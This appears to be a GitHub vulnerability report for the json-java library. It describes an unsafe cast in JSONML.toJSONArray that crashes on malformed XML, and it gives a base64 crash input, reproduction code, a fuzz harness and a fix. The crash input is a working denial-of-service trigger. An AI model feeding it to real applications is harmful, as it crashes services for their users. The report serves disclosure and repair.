Skip to content

ClassCastException in JSONML.toJSONArray due to Unsafe Type Cast #1034

@OwenSanzas

Description

@OwenSanzas

Summary

JSONML.toJSONArray() performs an unsafe cast of the return value from the internal parse() method. When processing malformed XML input, parse() returns a String instead of JSONArray, causing ClassCastException and crashing applications that don't explicitly catch this unchecked exception.

Root Cause

The parse() method returns Object type, but toJSONArray() casts directly without type checking:

Vulnerable Code (JSONML.java:279)

public static JSONArray toJSONArray(String string) throws JSONException {
    // parse() returns Object, but may actually return String for malformed input
    return (JSONArray)parse(new XMLTokener(string), true, null,
                           JSONMLParserConfiguration.ORIGINAL, 0);
    // No type check before cast!
}

PoC

Trigger file

A crafted crash_input.bin file (13 bytes) containing malformed XML:

  • Starts with <\n/ (open tag with newline and slash)
  • Contains invalid UTF-8 bytes 0xFF
  • Causes parse() to return String instead of JSONArray

How to generate crash_input.bin

# Base64 decode
echo "PAov//////////8+Qg==" | base64 -d > crash_input.bin

# Verify (should be 13 bytes)
xxd crash_input.bin
# Output: 3c0a 2fff ffff ffff ffff ff3e 42
# crash_gen.py
import base64

payload = base64.b64decode("PAov//////////8+Qg==")
with open("crash_input.bin", "wb") as f:
    f.write(payload)

print(f"Generated crash_input.bin ({len(payload)} bytes)")

Trigger Method 1: Direct API Call (Library Usage)

Since json-java is a library, applications trigger this by calling the API directly:

import org.json.JSONML;
import java.nio.file.Files;
import java.nio.file.Path;

public class ReproduceJSONML {
    public static void main(String[] args) throws Exception {
        // Read crash input
        byte[] data = Files.readAllBytes(Path.of("crash_input.bin"));
        String input = new String(data);

        // This throws ClassCastException
        JSONML.toJSONArray(input);
    }
}

Build and run:

# Compile json-java library
javac -d . src/main/java/org/json/*.java

# Compile and run reproduction
javac -cp . ReproduceJSONML.java
java -cp . ReproduceJSONML

Output:

java.lang.ClassCastException: class java.lang.String cannot be cast to class org.json.JSONArray
    at org.json.JSONML.toJSONArray(JSONML.java:279)
    at ReproduceJSONML.main(ReproduceJSONML.java:10)

Trigger Method 2: Fuzzer (Jazzer)

// Copyright 2025 O2Lab
// SPDX-License-Identifier: Apache-2.0

import org.json.JSONML;
import org.json.JSONException;
import java.nio.charset.StandardCharsets;

public class JsonMLFuzzer {
    public static void fuzzerTestOneInput(byte[] data) {
        String input = new String(data, StandardCharsets.UTF_8);
        try {
            JSONML.toJSONArray(input);
        } catch (JSONException e) {
            // Expected parsing errors - ignore
        }
        // ClassCastException is NOT caught - will crash fuzzer
    }
}

Build and run with Jazzer:

# Build with oss-fuzz / Jazzer
python3 infra/helper.py build_fuzzers --clean json-java

# Run fuzzer
./JsonMLFuzzer -rss_limit_mb=2048 corpus/

Impact

Aspect Details
Type Denial of Service (DoS)
Severity Medium
Attack Vector Malformed XML input to JSONML.toJSONArray()
Affected Components JSONML.toJSONArray(), JSONML.toJSONArray(XMLTokener)
Affected Versions All versions up to 20251224
CWE CWE-704 (Incorrect Type Conversion or Cast)

Suggested Fix

Add type checking before the cast:

public static JSONArray toJSONArray(String string) throws JSONException {
    Object result = parse(new XMLTokener(string), true, null,
                         JSONMLParserConfiguration.ORIGINAL, 0);
    if (result instanceof JSONArray) {
        return (JSONArray) result;
    }
    throw new JSONException("Expected JSONArray but got " +
                           result.getClass().getSimpleName());
}

Contribution: This potential vulnerability was found by AI-Based Vuln Detection system FuzzingBrain https://github.com/o2lab/afc-crs-all-you-need-is-a-fuzzing-brain.

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions